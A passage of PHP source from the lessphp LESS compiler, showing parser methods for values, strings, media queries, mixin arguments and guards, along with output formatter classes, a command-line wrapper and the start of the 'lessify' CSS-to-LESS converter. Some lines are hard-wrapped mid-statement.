                if ($this->peek(self::$operatorString, $next) &&
self::$precedence[$next[1]] > self::$precedence[$m[1]]) {
                    $rhs = $this->expHelper($rhs,
self::$precedence[$next[1]]);
                }

                $lhs = array('expression', $m[1], $lhs, $rhs,
$whiteBefore, $whiteAfter);
                $ss = $this->seek();

                continue;
            }

            break;
        }

        $this->seek($ss);

        return $lhs;
    }

    // consume a list of values for a property
    public function propertyValue(&$value, $keyName = null) {
        $values = array();

        if ($keyName !== null) $this->env->currentProperty =
$keyName;

        $s = null;
        while ($this->expressionList($v)) {
            $values[] = $v;
            $s = $this->seek();
            if (!$this->literal(',')) break;
        }

        if ($s) $this->seek($s);

        if ($keyName !== null) unset($this->env->currentProperty);

        if (count($values) == 0) return false;

        $value = lessc::compressList($values, ', ');
        return true;
    }

    protected function parenValue(&$out) {
        $s = $this->seek();

        // speed shortcut
        if (isset($this->buffer[$this->count]) &&
$this->buffer[$this->count] != "(") {
            return false;
        }

        $inParens = $this->inParens;
        if ($this->literal("(") &&
            ($this->inParens = true) &&
$this->expression($exp) &&
            $this->literal(")")
        ) {
            $out = $exp;
            $this->inParens = $inParens;
            return true;
        } else {
            $this->inParens = $inParens;
            $this->seek($s);
        }

        return false;
    }

    // a single value
    protected function value(&$value) {
        $s = $this->seek();

        // speed shortcut
        if (isset($this->buffer[$this->count]) &&
$this->buffer[$this->count] == "-") {
            // negation
            if ($this->literal("-", false) &&
                (($this->variable($inner) && $inner =
array("variable", $inner)) ||
                $this->unit($inner) ||
                $this->parenValue($inner))
            ) {
                $value = array("unary", "-", $inner);
                return true;
            } else {
                $this->seek($s);
            }
        }

        if ($this->parenValue($value)) return true;
        if ($this->unit($value)) return true;
        if ($this->color($value)) return true;
        if ($this->func($value)) return true;
        if ($this->string($value)) return true;

        if ($this->keyword($word)) {
            $value = array('keyword', $word);
            return true;
        }

        // try a variable
        if ($this->variable($var)) {
            $value = array('variable', $var);
            return true;
        }

        // unquote string (should this work on any type?
        if ($this->literal("~") &&
$this->string($str)) {
            $value = array("escape", $str);
            return true;
        } else {
            $this->seek($s);
        }

        // css hack: \0
        if ($this->literal('\\') &&
$this->match('([0-9]+)', $m)) {
            $value = array('keyword', '\\'.$m[1]);
            return true;
        } else {
            $this->seek($s);
        }

        return false;
    }

    // an import statement
    protected function import(&$out) {
        if (!$this->literal('@import')) return false;

        // @import "something.css" media;
        // @import url("something.css") media;
        // @import url(something.css) media;

        if ($this->propertyValue($value)) {
            $out = array("import", $value);
            return true;
        }
    }

    protected function mediaQueryList(&$out) {
        if ($this->genericList($list, "mediaQuery",
",", false)) {
            $out = $list[2];
            return true;
        }
        return false;
    }

    protected function mediaQuery(&$out) {
        $s = $this->seek();

        $expressions = null;
        $parts = array();

        if (($this->literal("only") && ($only = true)
|| $this->literal("not") && ($not = true) || true)
&& $this->keyword($mediaType)) {
            $prop = array("mediaType");
            if (isset($only)) $prop[] = "only";
            if (isset($not)) $prop[] = "not";
            $prop[] = $mediaType;
            $parts[] = $prop;
        } else {
            $this->seek($s);
        }


        if (!empty($mediaType) &&
!$this->literal("and")) {
            // ~
        } else {
            $this->genericList($expressions,
"mediaExpression", "and", false);
            if (is_array($expressions)) $parts = array_merge($parts,
$expressions[2]);
        }

        if (count($parts) == 0) {
            $this->seek($s);
            return false;
        }

        $out = $parts;
        return true;
    }

    protected function mediaExpression(&$out) {
        $s = $this->seek();
        $value = null;
        if ($this->literal("(") &&
            $this->keyword($feature) &&
            ($this->literal(":") &&
$this->expression($value) || true) &&
            $this->literal(")")
        ) {
            $out = array("mediaExp", $feature);
            if ($value) $out[] = $value;
            return true;
        } elseif ($this->variable($variable)) {
            $out = array('variable', $variable);
            return true;
        }

        $this->seek($s);
        return false;
    }

    // an unbounded string stopped by $end
    protected function openString($end, &$out, $nestingOpen = null,
$rejectStrs = null) {
        $oldWhite = $this->eatWhiteDefault;
        $this->eatWhiteDefault = false;

        $stop = array("'", '"',
"@{", $end);
        $stop = array_map(array("lessc", "preg_quote"),
$stop);
        // $stop[] = self::$commentMulti;

        if (!is_null($rejectStrs)) {
            $stop = array_merge($stop, $rejectStrs);
        }

        $patt = '(.*?)('.implode("|",
$stop).')';

        $nestingLevel = 0;

        $content = array();
        while ($this->match($patt, $m, false)) {
            if (!empty($m[1])) {
                $content[] = $m[1];
                if ($nestingOpen) {
                    $nestingLevel += substr_count($m[1], $nestingOpen);
                }
            }

            $tok = $m[2];

            $this->count-= strlen($tok);
            if ($tok == $end) {
                if ($nestingLevel == 0) {
                    break;
                } else {
                    $nestingLevel--;
                }
            }

            if (($tok == "'" || $tok == '"')
&& $this->string($str)) {
                $content[] = $str;
                continue;
            }

            if ($tok == "@{" &&
$this->interpolation($inter)) {
                $content[] = $inter;
                continue;
            }

            if (!empty($rejectStrs) && in_array($tok, $rejectStrs))
{
                break;
            }

            $content[] = $tok;
            $this->count+= strlen($tok);
        }

        $this->eatWhiteDefault = $oldWhite;

        if (count($content) == 0) return false;

        // trim the end
        if (is_string(end($content))) {
            $content[count($content) - 1] = rtrim(end($content));
        }

        $out = array("string", "", $content);
        return true;
    }

    protected function string(&$out) {
        $s = $this->seek();
        if ($this->literal('"', false)) {
            $delim = '"';
        } elseif ($this->literal("'", false)) {
            $delim = "'";
        } else {
            return false;
        }

        $content = array();

        // look for either ending delim , escape, or string interpolation
        $patt = '([^\n]*?)(@\{|\\\\|' .
            lessc::preg_quote($delim).')';

        $oldWhite = $this->eatWhiteDefault;
        $this->eatWhiteDefault = false;

        while ($this->match($patt, $m, false)) {
            $content[] = $m[1];
            if ($m[2] == "@{") {
                $this->count -= strlen($m[2]);
                if ($this->interpolation($inter, false)) {
                    $content[] = $inter;
                } else {
                    $this->count += strlen($m[2]);
                    $content[] = "@{"; // ignore it
                }
            } elseif ($m[2] == '\\') {
                $content[] = $m[2];
                if ($this->literal($delim, false)) {
                    $content[] = $delim;
                }
            } else {
                $this->count -= strlen($delim);
                break; // delim
            }
        }

        $this->eatWhiteDefault = $oldWhite;

        if ($this->literal($delim)) {
            $out = array("string", $delim, $content);
            return true;
        }

        $this->seek($s);
        return false;
    }

    protected function interpolation(&$out) {
        $oldWhite = $this->eatWhiteDefault;
        $this->eatWhiteDefault = true;

        $s = $this->seek();
        if ($this->literal("@{") &&
            $this->openString("}", $interp, null,
array("'", '"', ";")) &&
            $this->literal("}", false)
        ) {
            $out = array("interpolate", $interp);
            $this->eatWhiteDefault = $oldWhite;
            if ($this->eatWhiteDefault) $this->whitespace();
            return true;
        }

        $this->eatWhiteDefault = $oldWhite;
        $this->seek($s);
        return false;
    }

    protected function unit(&$unit) {
        // speed shortcut
        if (isset($this->buffer[$this->count])) {
            $char = $this->buffer[$this->count];
            if (!ctype_digit($char) && $char != ".")
return false;
        }

        if
($this->match('([0-9]+(?:\.[0-9]*)?|\.[0-9]+)([%a-zA-Z]+)?',
$m)) {
            $unit = array("number", $m[1], empty($m[2]) ?
"" : $m[2]);
            return true;
        }
        return false;
    }

    // a # color
    protected function color(&$out) {
        if
($this->match('(#(?:[0-9a-f]{8}|[0-9a-f]{6}|[0-9a-f]{3}))',
$m)) {
            if (strlen($m[1]) > 7) {
                $out = array("string", "",
array($m[1]));
            } else {
                $out = array("raw_color", $m[1]);
            }
            return true;
        }

        return false;
    }

    // consume an argument definition list surrounded by ()
    // each argument is a variable name with optional value
    // or at the end a ... or a variable named followed by ...
    // arguments are separated by , unless a ; is in the list, then ; is
the
    // delimiter.
    protected function argumentDef(&$args, &$isVararg) {
        $s = $this->seek();
        if (!$this->literal('(')) {
            return false;
        }

        $values = array();
        $delim = ",";
        $method = "expressionList";

        $isVararg = false;
        while (true) {
            if ($this->literal("...")) {
                $isVararg = true;
                break;
            }

            if ($this->$method($value)) {
                if ($value[0] == "variable") {
                    $arg = array("arg", $value[1]);
                    $ss = $this->seek();

                    if ($this->assign() &&
$this->$method($rhs)) {
                        $arg[] = $rhs;
                    } else {
                        $this->seek($ss);
                        if ($this->literal("...")) {
                            $arg[0] = "rest";
                            $isVararg = true;
                        }
                    }

                    $values[] = $arg;
                    if ($isVararg) {
                        break;
                    }
                    continue;
                } else {
                    $values[] = array("lit", $value);
                }
            }


            if (!$this->literal($delim)) {
                if ($delim == "," &&
$this->literal(";")) {
                    // found new delim, convert existing args
                    $delim = ";";
                    $method = "propertyValue";

                    // transform arg list
                    if (isset($values[1])) { // 2 items
                        $newList = array();
                        foreach ($values as $i => $arg) {
                            switch ($arg[0]) {
                            case "arg":
                                if ($i) {
                                    $this->throwError("Cannot mix ;
and , as delimiter types");
                                }
                                $newList[] = $arg[2];
                                break;
                            case "lit":
                                $newList[] = $arg[1];
                                break;
                            case "rest":
                                $this->throwError("Unexpected rest
before semicolon");
                            }
                        }

                        $newList = array("list", ", ",
$newList);

                        switch ($values[0][0]) {
                        case "arg":
                            $newArg = array("arg", $values[0][1],
$newList);
                            break;
                        case "lit":
                            $newArg = array("lit", $newList);
                            break;
                        }

                    } elseif ($values) { // 1 item
                        $newArg = $values[0];
                    }

                    if ($newArg) {
                        $values = array($newArg);
                    }
                } else {
                    break;
                }
            }
        }

        if (!$this->literal(')')) {
            $this->seek($s);
            return false;
        }

        $args = $values;

        return true;
    }

    // consume a list of tags
    // this accepts a hanging delimiter
    protected function tags(&$tags, $simple = false, $delim =
',') {
        $tags = array();
        while ($this->tag($tt, $simple)) {
            $tags[] = $tt;
            if (!$this->literal($delim)) break;
        }
        if (count($tags) == 0) return false;

        return true;
    }

    // list of tags of specifying mixin path
    // optionally separated by > (lazy, accepts extra >)
    protected function mixinTags(&$tags) {
        $tags = array();
        while ($this->tag($tt, true)) {
            $tags[] = $tt;
            $this->literal(">");
        }

        if (!$tags) {
            return false;
        }

        return true;
    }

    // a bracketed value (contained within in a tag definition)
    protected function tagBracket(&$parts, &$hasExpression) {
        // speed shortcut
        if (isset($this->buffer[$this->count]) &&
$this->buffer[$this->count] != "[") {
            return false;
        }

        $s = $this->seek();

        $hasInterpolation = false;

        if ($this->literal("[", false)) {
            $attrParts = array("[");
            // keyword, string, operator
            while (true) {
                if ($this->literal("]", false)) {
                    $this->count--;
                    break; // get out early
                }

                if ($this->match('\s+', $m)) {
                    $attrParts[] = " ";
                    continue;
                }
                if ($this->string($str)) {
                    // escape parent selector, (yuck)
                    foreach ($str[2] as &$chunk) {
                        $chunk =
str_replace($this->lessc->parentSelector, "$&$",
$chunk);
                    }

                    $attrParts[] = $str;
                    $hasInterpolation = true;
                    continue;
                }

                if ($this->keyword($word)) {
                    $attrParts[] = $word;
                    continue;
                }

                if ($this->interpolation($inter, false)) {
                    $attrParts[] = $inter;
                    $hasInterpolation = true;
                    continue;
                }

                // operator, handles attr namespace too
                if ($this->match('[|-~\$\*\^=]+', $m)) {
                    $attrParts[] = $m[0];
                    continue;
                }

                break;
            }

            if ($this->literal("]", false)) {
                $attrParts[] = "]";
                foreach ($attrParts as $part) {
                    $parts[] = $part;
                }
                $hasExpression = $hasExpression || $hasInterpolation;
                return true;
            }
            $this->seek($s);
        }

        $this->seek($s);
        return false;
    }

    // a space separated list of selectors
    protected function tag(&$tag, $simple = false) {
        if ($simple) {
            $chars = '^@,:;{}\][>\(\) "\'';
        } else {
            $chars = '^@,;{}["\'';
        }
        $s = $this->seek();

        $hasExpression = false;
        $parts = array();
        while ($this->tagBracket($parts, $hasExpression));

        $oldWhite = $this->eatWhiteDefault;
        $this->eatWhiteDefault = false;

        while (true) {
            if
($this->match('(['.$chars.'0-9]['.$chars.']*)',
$m)) {
                $parts[] = $m[1];
                if ($simple) break;

                while ($this->tagBracket($parts, $hasExpression));
                continue;
            }

            if (isset($this->buffer[$this->count]) &&
$this->buffer[$this->count] == "@") {
                if ($this->interpolation($interp)) {
                    $hasExpression = true;
                    $interp[2] = true; // don't unescape
                    $parts[] = $interp;
                    continue;
                }

                if ($this->literal("@")) {
                    $parts[] = "@";
                    continue;
                }
            }

            if ($this->unit($unit)) { // for keyframes
                $parts[] = $unit[1];
                $parts[] = $unit[2];
                continue;
            }

            break;
        }

        $this->eatWhiteDefault = $oldWhite;
        if (!$parts) {
            $this->seek($s);
            return false;
        }

        if ($hasExpression) {
            $tag = array("exp", array("string",
"", $parts));
        } else {
            $tag = trim(implode($parts));
        }

        $this->whitespace();
        return true;
    }

    // a css function
    protected function func(&$func) {
        $s = $this->seek();

        if ($this->match('(%|[\w\-_][\w\-_:\.]+|[\w_])', $m)
&& $this->literal('(')) {
            $fname = $m[1];

            $sPreArgs = $this->seek();

            $args = array();
            while (true) {
                $ss = $this->seek();
                // this ugly nonsense is for ie filter properties
                if ($this->keyword($name) &&
$this->literal('=') &&
$this->expressionList($value)) {
                    $args[] = array("string", "",
array($name, "=", $value));
                } else {
                    $this->seek($ss);
                    if ($this->expressionList($value)) {
                        $args[] = $value;
                    }
                }

                if (!$this->literal(',')) break;
            }
            $args = array('list', ',', $args);

            if ($this->literal(')')) {
                $func = array('function', $fname, $args);
                return true;
            } elseif ($fname == 'url') {
                // couldn't parse and in url? treat as string
                $this->seek($sPreArgs);
                if ($this->openString(")", $string) &&
$this->literal(")")) {
                    $func = array('function', $fname, $string);
                    return true;
                }
            }
        }

        $this->seek($s);
        return false;
    }

    // consume a less variable
    protected function variable(&$name) {
        $s = $this->seek();
        if ($this->literal($this->lessc->vPrefix, false)
&&
            ($this->variable($sub) || $this->keyword($name))
        ) {
            if (!empty($sub)) {
                $name = array('variable', $sub);
            } else {
                $name = $this->lessc->vPrefix.$name;
            }
            return true;
        }

        $name = null;
        $this->seek($s);
        return false;
    }

    /**
     * Consume an assignment operator
     * Can optionally take a name that will be set to the current property
name
     */
    protected function assign($name = null) {
        if ($name) $this->currentProperty = $name;
        return $this->literal(':') ||
$this->literal('=');
    }

    // consume a keyword
    protected function keyword(&$word) {
        if ($this->match('([\w_\-\*!"][\w\-_"]*)',
$m)) {
            $word = $m[1];
            return true;
        }
        return false;
    }

    // consume an end of statement delimiter
    protected function end() {
        if ($this->literal(';', false)) {
            return true;
        } elseif ($this->count == strlen($this->buffer) ||
$this->buffer[$this->count] == '}') {
            // if there is end of file or a closing block next then we
don't need a ;
            return true;
        }
        return false;
    }

    protected function guards(&$guards) {
        $s = $this->seek();

        if (!$this->literal("when")) {
            $this->seek($s);
            return false;
        }

        $guards = array();

        while ($this->guardGroup($g)) {
            $guards[] = $g;
            if (!$this->literal(",")) break;
        }

        if (count($guards) == 0) {
            $guards = null;
            $this->seek($s);
            return false;
        }

        return true;
    }

    // a bunch of guards that are and'd together
    // TODO rename to guardGroup
    protected function guardGroup(&$guardGroup) {
        $s = $this->seek();
        $guardGroup = array();
        while ($this->guard($guard)) {
            $guardGroup[] = $guard;
            if (!$this->literal("and")) break;
        }

        if (count($guardGroup) == 0) {
            $guardGroup = null;
            $this->seek($s);
            return false;
        }

        return true;
    }

    protected function guard(&$guard) {
        $s = $this->seek();
        $negate = $this->literal("not");

        if ($this->literal("(") &&
$this->expression($exp) && $this->literal(")")) {
            $guard = $exp;
            if ($negate) $guard = array("negate", $guard);
            return true;
        }

        $this->seek($s);
        return false;
    }

    /* raw parsing functions */

    protected function literal($what, $eatWhitespace = null) {
        if ($eatWhitespace === null) $eatWhitespace =
$this->eatWhiteDefault;

        // shortcut on single letter
        if (!isset($what[1]) &&
isset($this->buffer[$this->count])) {
            if ($this->buffer[$this->count] == $what) {
                if (!$eatWhitespace) {
                    $this->count++;
                    return true;
                }
                // goes below...
            } else {
                return false;
            }
        }

        if (!isset(self::$literalCache[$what])) {
            self::$literalCache[$what] = lessc::preg_quote($what);
        }

        return $this->match(self::$literalCache[$what], $m,
$eatWhitespace);
    }

    protected function genericList(&$out, $parseItem, $delim =
"", $flatten = true) {
        $s = $this->seek();
        $items = array();
        while ($this->$parseItem($value)) {
            $items[] = $value;
            if ($delim) {
                if (!$this->literal($delim)) break;
            }
        }

        if (count($items) == 0) {
            $this->seek($s);
            return false;
        }

        if ($flatten && count($items) == 1) {
            $out = $items[0];
        } else {
            $out = array("list", $delim, $items);
        }

        return true;
    }


    // advance counter to next occurrence of $what
    // $until - don't include $what in advance
    // $allowNewline, if string, will be used as valid char set
    protected function to($what, &$out, $until = false, $allowNewline =
false) {
        if (is_string($allowNewline)) {
            $validChars = $allowNewline;
        } else {
            $validChars = $allowNewline ? "." :
"[^\n]";
        }
        if
(!$this->match('('.$validChars.'*?)'.lessc::preg_quote($what),
$m, !$until)) return false;
        if ($until) $this->count -= strlen($what); // give back $what
        $out = $m[1];
        return true;
    }

    // try to match something on head of buffer
    protected function match($regex, &$out, $eatWhitespace = null) {
        if ($eatWhitespace === null) $eatWhitespace =
$this->eatWhiteDefault;

        $r = '/'.$regex.($eatWhitespace &&
!$this->writeComments ? '\s*' :
'').'/Ais';
        if (preg_match($r, $this->buffer, $out, null, $this->count))
{
            $this->count += strlen($out[0]);
            if ($eatWhitespace && $this->writeComments)
$this->whitespace();
            return true;
        }
        return false;
    }

    // match some whitespace
    protected function whitespace() {
        if ($this->writeComments) {
            $gotWhite = false;
            while (preg_match(self::$whitePattern, $this->buffer, $m,
null, $this->count)) {
                if (isset($m[1]) &&
empty($this->seenComments[$this->count])) {
                    $this->append(array("comment", $m[1]));
                    $this->seenComments[$this->count] = true;
                }
                $this->count += strlen($m[0]);
                $gotWhite = true;
            }
            return $gotWhite;
        } else {
            $this->match("", $m);
            return strlen($m[0]) > 0;
        }
    }

    // match something without consuming it
    protected function peek($regex, &$out = null, $from = null) {
        if (is_null($from)) $from = $this->count;
        $r = '/'.$regex.'/Ais';
        $result = preg_match($r, $this->buffer, $out, null, $from);

        return $result;
    }

    // seek to a spot in the buffer or return where we are on no argument
    protected function seek($where = null) {
        if ($where === null) return $this->count;
        else $this->count = $where;
        return true;
    }

    /* misc functions */

    public function throwError($msg = "parse error", $count =
null) {
        $count = is_null($count) ? $this->count : $count;

        $line = $this->line +
            substr_count(substr($this->buffer, 0, $count),
"\n");

        if (!empty($this->sourceName)) {
            $loc = "$this->sourceName on line $line";
        } else {
            $loc = "line: $line";
        }

        // TODO this depends on $this->count
        if ($this->peek("(.*?)(\n|$)", $m, $count)) {
            throw new exception("$msg: failed at `$m[1]` $loc");
        } else {
            throw new exception("$msg: $loc");
        }
    }

    protected function pushBlock($selectors = null, $type = null) {
        $b = new stdclass;
        $b->parent = $this->env;

        $b->type = $type;
        $b->id = self::$nextBlockId++;

        $b->isVararg = false; // TODO: kill me from here
        $b->tags = $selectors;

        $b->props = array();
        $b->children = array();

        $this->env = $b;
        return $b;
    }

    // push a block that doesn't multiply tags
    protected function pushSpecialBlock($type) {
        return $this->pushBlock(null, $type);
    }

    // append a property to the current block
    protected function append($prop, $pos = null) {
        if ($pos !== null) $prop[-1] = $pos;
        $this->env->props[] = $prop;
    }

    // pop something off the stack
    protected function pop() {
        $old = $this->env;
        $this->env = $this->env->parent;
        return $old;
    }

    // remove comments from $text
    // todo: make it work for all functions, not just url
    protected function removeComments($text) {
        $look = array(
            'url(', '//', '/*',
'"', "'"
        );

        $out = '';
        $min = null;
        while (true) {
            // find the next item
            foreach ($look as $token) {
                $pos = strpos($text, $token);
                if ($pos !== false) {
                    if (!isset($min) || $pos < $min[1]) $min =
array($token, $pos);
                }
            }

            if (is_null($min)) break;

            $count = $min[1];
            $skip = 0;
            $newlines = 0;
            switch ($min[0]) {
            case 'url(':
                if (preg_match('/url\(.*?\)/', $text, $m, 0,
$count))
                    $count += strlen($m[0]) - strlen($min[0]);
                break;
            case '"':
            case "'":
                if
(preg_match('/'.$min[0].'.*?(?<!\\\\)'.$min[0].'/',
$text, $m, 0, $count))
                    $count += strlen($m[0]) - 1;
                break;
            case '//':
                $skip = strpos($text, "\n", $count);
                if ($skip === false) $skip = strlen($text) - $count;
                else $skip -= $count;
                break;
            case '/*':
                if (preg_match('/\/\*.*?\*\//s', $text, $m, 0,
$count)) {
                    $skip = strlen($m[0]);
                    $newlines = substr_count($m[0], "\n");
                }
                break;
            }

            if ($skip == 0) $count += strlen($min[0]);

            $out .= substr($text, 0, $count).str_repeat("\n",
$newlines);
            $text = substr($text, $count + $skip);

            $min = null;
        }

        return $out.$text;
    }

}

class lessc_formatter_classic {
    public $indentChar = "  ";

    public $break = "\n";
    public $open = " {";
    public $close = "}";
    public $selectorSeparator = ", ";
    public $assignSeparator = ":";

    public $openSingle = " { ";
    public $closeSingle = " }";

    public $disableSingle = false;
    public $breakSelectors = false;

    public $compressColors = false;

    public function __construct() {
        $this->indentLevel = 0;
    }

    public function indentStr($n = 0) {
        return str_repeat($this->indentChar, max($this->indentLevel +
$n, 0));
    }

    public function property($name, $value) {
        return $name . $this->assignSeparator . $value . ";";
    }

    protected function isEmpty($block) {
        if (empty($block->lines)) {
            foreach ($block->children as $child) {
                if (!$this->isEmpty($child)) return false;
            }

            return true;
        }
        return false;
    }

    public function block($block) {
        if ($this->isEmpty($block)) return;

        $inner = $pre = $this->indentStr();

        $isSingle = !$this->disableSingle &&
            is_null($block->type) && count($block->lines) ==
1;

        if (!empty($block->selectors)) {
            $this->indentLevel++;

            if ($this->breakSelectors) {
                $selectorSeparator = $this->selectorSeparator .
$this->break . $pre;
            } else {
                $selectorSeparator = $this->selectorSeparator;
            }

            echo $pre .
                implode($selectorSeparator, $block->selectors);
            if ($isSingle) {
                echo $this->openSingle;
                $inner = "";
            } else {
                echo $this->open . $this->break;
                $inner = $this->indentStr();
            }

        }

        if (!empty($block->lines)) {
            $glue = $this->break.$inner;
            echo $inner . implode($glue, $block->lines);
            if (!$isSingle && !empty($block->children)) {
                echo $this->break;
            }
        }

        foreach ($block->children as $child) {
            $this->block($child);
        }

        if (!empty($block->selectors)) {
            if (!$isSingle && empty($block->children)) echo
$this->break;

            if ($isSingle) {
                echo $this->closeSingle . $this->break;
            } else {
                echo $pre . $this->close . $this->break;
            }

            $this->indentLevel--;
        }
    }
}

class lessc_formatter_compressed extends lessc_formatter_classic {
    public $disableSingle = true;
    public $open = "{";
    public $selectorSeparator = ",";
    public $assignSeparator = ":";
    public $break = "";
    public $compressColors = true;

    public function indentStr($n = 0) {
        return "";
    }
}

class lessc_formatter_lessjs extends lessc_formatter_classic {
    public $disableSingle = true;
    public $breakSelectors = true;
    public $assignSeparator = ": ";
    public $selectorSeparator = ",";
}
#!/usr/bin/env php
<?php

if (php_sapi_name() != "cli") {
    err($fa.$argv[0]." must be run in the command line.");
    exit(1);
}
$exe = array_shift($argv); // remove filename

if (!$fname = array_shift($argv)) {
    exit("Usage: ".$exe." input-file\n");
}

require "lessify.inc.php";

try {
    $parser = new lessify($fname);
    echo $parser->parse();
} catch (exception $e) {
    exit("Fatal error: ".$e->getMessage()."\n");
}
<?php
/**
 * lessify
 * Convert a css file into a less file
 * http://leafo.net/lessphp
 * Copyright 2010, leaf corcoran <leafot@gmail.com>
 *
 * WARNING: THIS DOES NOT WORK ANYMORE. NEEDS TO BE UPDATED FOR
 * LATEST VERSION OF LESSPHP.
 *
 */

require "lessc.inc.php";

//
// check if the merge during mixin is overwriting values. should or should
it not?
//

//
// 1. split apart class tags
//

class easyparse {
    public $buffer;
    public $count;

    public function __construct($str) {
        $this->count = 0;
        $this->buffer = trim($str);
    }

    public function seek($where = null) {
        if ($where === null) {
            return $this->count;
        }
        $this->count = $where;
        return true;
    }

    public function preg_quote($what) {
        return preg_quote($what, '/');
    }

    public function match($regex, &$out, $eatWhitespace = true) {
        $r = '/'.$regex.($eatWhitespace ? '\s*' :
'').'/Ais';
        if (preg_match($r, $this->buffer, $out, null, $this->count))
{
            $this->count += strlen($out[0]);
            return true;
        }
        return false;
    }

    public function literal($what, $eatWhitespace = true) {
        // this is here mainly prevent notice from { } string accessor
        if ($this->count >= strlen($this->buffer)) return false;

        // shortcut on single letter
        if (!$eatWhitespace and strlen($what) === 1) {
            if ($this->buffer{$this->count} == $what) {
                $this->count++;
                return true;
            }
            return false;
        }

        return $this->match($this->preg_quote($what), $m,
$eatWhitespace);
    }

}

class tagparse extends easyparse {
    private static $combinators = null;
    private static $match_opts = null;

    public function parse() {
        if (empty(self::$combinators)) {
            self::$combinators = '(' . implode('|',
array_map(array($this, 'preg_quote'),
                array('+', '>',
'~'))).')';
            self::$match_opts = '(' . implode('|',
array_map(array($this, 'preg_quote'),
                array('=', '~=', '|=',
'$=', '*='))) . ')';
        }

        // crush whitespace
        $this->buffer = preg_replace('/\s+/', ' ',
$this->buffer) . ' ';

        $tags = array();
        while ($this->tag($t)) {
            $tags[] = $t;
        }

        return $tags;
    }

    public static function compileString($string) {
        list(, $delim, $str) = $string;
        $str = str_replace($delim, "\\" . $delim, $str);
        $str = str_replace("\n", "\\\n", $str);
        return $delim . $str . $delim;
    }

    public static function compilePaths($paths) {
        return implode(', ', array_map(array('self',
'compilePath'), $paths));
    }

    // array of tags
    public static function compilePath($path) {
        return implode(' ', array_map(array('self',
'compileTag'), $path));
    }


    public static function compileTag($tag) {
        ob_start();
        if (isset($tag['comb'])) echo $tag['comb'] .
" ";
        if (isset($tag['front'])) echo $tag['front'];
        if (isset($tag['attr'])) {
            echo '[' . $tag['attr'];
            if (isset($tag['op'])) {
                echo $tag['op'] . $tag['op_value'];
            }
            echo ']';
        }
        return ob_get_clean();
    }

    public function string(&$out) {
        $s = $this->seek();

        if ($this->literal('"')) {
            $delim = '"';
        } elseif ($this->literal("'")) {
            $delim = "'";
        } else {
            return false;
        }

        while (true) {
            // step through letters looking for either end or escape
            $buff = "";
            $escapeNext = false;
            $finished = false;
            for ($i = $this->count; $i < strlen($this->buffer);
$i++) {
                $char = $this->buffer[$i];
                switch ($char) {
                case $delim:
                    if ($escapeNext) {
                        $buff .= $char;
                        $escapeNext = false;
                        break;
                    }
                    $finished = true;
                    break 2;
                case "\\":
                    if ($escapeNext) {
                        $buff .= $char;
                        $escapeNext = false;
                    } else {
                        $escapeNext = true;
                    }
                    break;
                case "\n":
                    if (!$escapeNext) {
                        break 3;
                    }

                    $buff .= $char;
                    $escapeNext = false;
                    break;
                default:
                    if ($escapeNext) {
                        $buff .= "\\";
                        $escapeNext = false;
                    }
                    $buff .= $char;
                }
            }
            if (!$finished) break;
            $out = array('string', $delim, $buff);
            $this->seek($i+1);
            return true;
        }

        $this->seek($s);
        return false;
    }

    public function tag(&$out) {
        $s = $this->seek();
        $tag = array();
        if ($this->combinator($op)) $tag['comb'] = $op;

        if (!$this->match('(.*?)(
|$|\[|'.self::$combinators.')', $match)) {
            $this->seek($s);
            return false;
        }

        if (!empty($match[3])) {
            // give back combinator
            $this->count-=strlen($match[3]);
        }

        if (!empty($match[1])) $tag['front'] = $match[1];

        if ($match[2] == '[') {
            if ($this->ident($i)) {
                $tag['attr'] = $i;

                if ($this->match(self::$match_opts, $m) &&
$this->value($v)) {
                    $tag['op'] = $m[1];
                    $tag['op_value'] = $v;
                }

                if ($this->literal(']')) {
                    $out = $tag;
                    return true;
                }
            }
        } elseif (isset($tag['front'])) {
            $out = $tag;
            return true;
        }

        $this->seek($s);
        return false;
    }

    public function ident(&$out) {
        // [-]?{nmstart}{nmchar}*
        // nmstart: [_a-z]|{nonascii}|{escape}
        // nmchar: [_a-z0-9-]|{nonascii}|{escape}
        if ($this->match('(-?[_a-z][_\w]*)', $m)) {
            $out = $m[1];
            return true;
        }
        return false;
    }

    public function value(&$out) {
        if ($this->string($str)) {
            $out = $this->compileString($str);
            return true;
        } elseif ($this->ident($id)) {
            $out = $id;
            return true;
        }
        return false;
    }


    public function combinator(&$op) {
        if ($this->match(self::$combinators, $m)) {
            $op = $m[1];
            return true;
        }
        return false;
    }
}

class nodecounter {
    public $count = 0;
    public $children = array();

    public $name;
    public $child_blocks;
    public $the_block;

    public function __construct($name) {
        $this->name = $name;
    }

    public function dump($stack = null) {
        if (is_null($stack)) $stack = array();
        $stack[] = $this->getName();
        echo implode(' -> ', $stack) . "
($this->count)\n";
        foreach ($this->children as $child) {
            $child->dump($stack);
        }
    }

    public static function compileProperties($c, $block) {
        foreach ($block as $name => $value) {
            if ($c->isProperty($name, $value)) {
                echo $c->compileProperty($name, $value) .
"\n";
            }
        }
    }

    public function compile($c, $path = null) {
        if (is_null($path)) $path = array();
        $path[] = $this->name;

        $isVisible = !is_null($this->the_block) ||
!is_null($this->child_blocks);

        if ($isVisible) {
            echo $c->indent(implode(' ', $path) . '
{');
            $c->indentLevel++;
            $path = array();

            if ($this->the_block) {
                $this->compileProperties($c, $this->the_block);
            }

            if ($this->child_blocks) {
                foreach ($this->child_blocks as $block) {
                    echo
$c->indent(tagparse::compilePaths($block['__tags']).'
{');
                    $c->indentLevel++;
                    $this->compileProperties($c, $block);
                    $c->indentLevel--;
                    echo $c->indent('}');
                }
            }
        }

        // compile child nodes
        foreach ($this->children as $node) {
            $node->compile($c, $path);
        }

        if ($isVisible) {
            $c->indentLevel--;
            echo $c->indent('}');
        }

    }

    public function getName() {
        if (is_null($this->name)) return "[root]";
        else return $this->name;
    }

    public function getNode($name) {
        if (!isset($this->children[$name])) {
            $this->children[$name] = new nodecounter($name);
        }

        return $this->children[$name];
    }

    public function findNode($path) {
        $current = $this;
        for ($i = 0; $i < count($path); $i++) {
            $t = tagparse::compileTag($path[$i]);
            $current = $current->getNode($t);
        }

        return $current;
    }

    public function addBlock($path, $block) {
        $node = $this->findNode($path);
        if (!is_null($node->the_block)) throw new exception("can
this happen?");

        unset($block['__tags']);
        $node->the_block = $block;
    }

    public function addToNode($path, $block) {
        $node = $this->findNode($path);
        $node->child_blocks[] = $block;
    }
}

/**
 * create a less file from a css file by combining blocks where appropriate
 */
class lessify extends lessc {
    public function dump() {
        print_r($this->env);
    }

    public function parse($str = null) {
        $this->prepareParser($str ? $str : $this->buffer);
        while (false !== $this->parseChunk());

        $root = new nodecounter(null);

